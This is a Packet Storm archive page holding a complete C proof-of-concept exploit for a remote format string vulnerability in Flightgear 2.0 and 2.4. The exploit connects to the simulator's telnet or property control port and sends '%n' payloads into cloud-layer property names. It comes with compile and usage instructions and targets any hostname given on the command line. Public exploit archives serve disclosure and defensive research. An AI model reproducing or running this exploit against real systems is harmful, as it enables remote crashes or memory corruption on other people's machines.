exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Flightgear 2.0 / 2.4 Format String

Flightgear 2.0 / 2.4 Format String
Posted May 8, 2013
Authored by Kurono

Flightgear versions 2.0 and 2.4 suffer from a remote format string vulnerability.

tags | exploit, remote
SHA-256 | 32b08be14ae9527b5ab40a98a1edc92b19a1f00ecc1b968542c6f8b64d1e37f0

Flightgear 2.0 / 2.4 Format String

Change Mirror Download
/*
# Exploit Title: Flightgear remote format string
# Date: 21/04/2013
# Exploit Author: Kurono
# email: andresgomezram7@gmail.com
# Vendor Homepage: http://www.flightgear.org/
# Software Link: http://www.flightgear.org/download/
# Version: Tested on versions 2.0, 2.4.
# Tested on: Windows (Linux user assisted)
# CVE : None

Flightgear allows remote control through Property tree.
It is vulnerable to remote format string vulnerability
when some special parameters related with clouds are changed.
To test this exploit, run Flightgear with remote input, for example:

fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --props=5501 --disable-real-weather-fetch

or

fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --telnet=5501 --disable-real-weather-fetch

gcc -O2 -g -pedantic -Wall poc.c -o poc
USAGE: ./poc [hostname [port]]

More information: http://kuronosec.blogspot.com/
*/

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <string.h>


#define DFLTHOST "127.0.0.1"
#define DFLTPORT 5501
#define MAXMSG 256
#define fgfsclose close


void init_sockaddr(struct sockaddr_in *name, const char *hostname, unsigned port);
int fgfswrite(int sock, char *msg, ...);
const char *fgfsread(int sock, int wait);
void fgfsflush(int sock);



int fgfswrite(int sock, char *msg, ...)
{
va_list va;
ssize_t len;
char buf[MAXMSG];

va_start(va, msg);
vsnprintf(buf, MAXMSG - 2, msg, va);
va_end(va);
printf("SEND: \t<%s>\n", buf);
strcat(buf, "\015\012");

len = write(sock, buf, strlen(buf));
if (len < 0) {
perror("fgfswrite");
exit(EXIT_FAILURE);
}
return len;
}



const char *fgfsread(int sock, int timeout)
{
static char buf[MAXMSG];
char *p;
fd_set ready;
struct timeval tv;
ssize_t len;

FD_ZERO(&ready);
FD_SET(sock, &ready);
tv.tv_sec = timeout;
tv.tv_usec = 0;
if (!select(32, &ready, 0, 0, &tv))
return NULL;

len = read(sock, buf, MAXMSG - 1);
if (len < 0) {
perror("fgfsread");
exit(EXIT_FAILURE);
}
if (len == 0)
return NULL;

for (p = &buf[len - 1]; p >= buf; p--)
if (*p != '\015' && *p != '\012')
break;
*++p = '\0';
return strlen(buf) ? buf : NULL;
}



void fgfsflush(int sock)
{
const char *p;
while ((p = fgfsread(sock, 0)) != NULL) {
printf("IGNORE: \t<%s>\n", p);
}
}



int fgfsconnect(const char *hostname, const int port)
{
struct sockaddr_in serv_addr;
struct hostent *hostinfo;
int sock;

sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror("fgfsconnect/socket");
return -1;
}

hostinfo = gethostbyname(hostname);
if (hostinfo == NULL) {
fprintf(stderr, "fgfsconnect: unknown host: \"%s\"\n", hostname);
close(sock);
return -2;
}

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr = *(struct in_addr *)hostinfo->h_addr;

if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
perror("fgfsconnect/connect");
close(sock);
return -3;
}
return sock;
}



int main(int argc, char **argv)
{
int sock;
unsigned port;
const char *hostname, *p;
int i;

hostname = argc > 1 ? argv[1] : DFLTHOST;
port = argc > 2 ? atoi(argv[2]) : DFLTPORT;

sock = fgfsconnect(hostname, port);
if (sock < 0)
return EXIT_FAILURE;

fgfswrite(sock, "data");
fgfswrite(sock, "set /sim/rendering/clouds3d-enable true");
fgfswrite(sock, "set /environment/clouds");

for (i=0; i < 5; i++) {
fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cu/cloud/name %%n", i);
fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cb/cloud/name %%n", i);
fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ac/cloud/name %%n", i);
fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/st/cloud/name %%n", i);
fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ns/cloud/name %%n", i);
}

p = fgfsread(sock, 3);
if (p != NULL)
printf("READ: \t<%s>\n", p);


for (i=0; i < 5; i++) {
fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage scattered", i);
fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage cirrus", i);
fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage clear", i);
}

p = fgfsread(sock, 3);
if (p != NULL)
printf("READ: \t<%s>\n", p);

fgfswrite(sock, "quit");
fgfsclose(sock);
return EXIT_SUCCESS;
}

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close